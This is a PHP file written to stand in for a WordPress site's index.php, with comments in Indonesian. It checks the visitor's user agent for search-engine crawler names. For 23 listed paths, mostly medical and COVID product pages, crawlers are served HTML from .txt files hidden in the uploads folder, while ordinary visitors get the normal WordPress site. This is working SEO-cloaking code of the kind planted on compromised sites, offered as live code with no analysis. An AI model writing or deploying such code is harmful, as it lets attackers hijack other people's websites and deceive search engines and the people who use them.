<?php
error_reporting(0);

// Ambil IP dan User-Agent
$visitor_ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ??
              $_SERVER['HTTP_INCAP_CLIENT_IP'] ??
              $_SERVER['HTTP_TRUE_CLIENT_IP'] ??
              $_SERVER['HTTP_REMOTEIP'] ??
              $_SERVER['HTTP_X_REAL_IP'] ??
              $_SERVER['REMOTE_ADDR'];

$agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// Dapatkan path URL
$path = rtrim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');

// Daftar file cloaking (HARUS berisi HTML valid di dalam .txt)
$cloaked_links = [
    '/tag/klbtheme' => __DIR__ . '/wp-content/uploads/2025/06/1.txt',
    '/dolorem-eum-fugiat-quo-voluptas-nulla-pariatur' => __DIR__ . '/wp-content/uploads/2025/06/2.txt',
    '/about' => __DIR__ . '/wp-content/uploads/2025/06/3.txt',
    '/shop-2' => __DIR__ . '/wp-content/uploads/2025/06/4.txt',
    '/product/anti-drug-addiction-medicine' => __DIR__ . '/wp-content/uploads/2025/06/5.txt',
    '/cart-2' => __DIR__ . '/wp-content/uploads/2025/06/6.txt',
    '/product-categories' => __DIR__ . '/wp-content/uploads/2025/06/7.txt',
    '/shop' => __DIR__ . '/wp-content/uploads/2025/06/8.txt',
    '/contact-us' => __DIR__ . '/wp-content/uploads/2025/06/9.txt',
    '/blog' => __DIR__ . '/wp-content/uploads/2025/06/10.txt',
    '/mirage-deep-dive-under-anding-timin-response' => __DIR__ . '/wp-content/uploads/2025/06/11.txt',
    '/my-account-2' => __DIR__ . '/wp-content/uploads/2025/06/12.txt',
    '/wishlist' => __DIR__ . '/wp-content/uploads/2025/06/13.txt',
    '/product-category/hand-gloves' => __DIR__ . '/wp-content/uploads/2025/06/14.txt',
    '/product-category/hand-sanitizer' => __DIR__ . '/wp-content/uploads/2025/06/15.txt',
    '/product-category/home-accessories' => __DIR__ . '/wp-content/uploads/2025/06/16.txt',
    '/product/hand-sanitizer-covid-19' => __DIR__ . '/wp-content/uploads/2025/06/17.txt',
    '/product/medical-thermometer' => __DIR__ . '/wp-content/uploads/2025/06/18.txt',
    '/product/lab-n95-face-mask' => __DIR__ . '/wp-content/uploads/2025/06/19.txt',
    '/product/covid-19-hand-gloves' => __DIR__ . '/wp-content/uploads/2025/06/20.txt',
    '/product/new-temperature-gun' => __DIR__ . '/wp-content/uploads/2025/06/21.txt',
    '/product/inhaler-pressure-meter' => __DIR__ . '/wp-content/uploads/2025/06/22.txt',
    '/product/covid-19-hand-sanitizer' => __DIR__ . '/wp-content/uploads/2025/06/23.txt'
];

// Deteksi User-Agent bot (termasuk Googlebot, Ahrefs, dll)
$bot_signatures = ['google', 'bot', 'crawl', 'spider', 'slurp', 'ahrefs', 'bing'];
$is_bot = false;
foreach ($bot_signatures as $sig) {
    if (strpos($agent, $sig) !== false) {
        $is_bot = true;
        break;
    }
}

// Jika ini bot dan ada file untuk halaman itu
if ($is_bot && isset($cloaked_links[$path])) {
    $html_file = $cloaked_links[$path];
    if (file_exists($html_file)) {
        // Kirim sebagai HTML agar isinya bisa dirender sebagai landing page
        header("Content-Type: text/html; charset=UTF-8");
        readfile($html_file);
        exit;
    }
}

// Kalau bukan bot, tampilkan WordPress
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';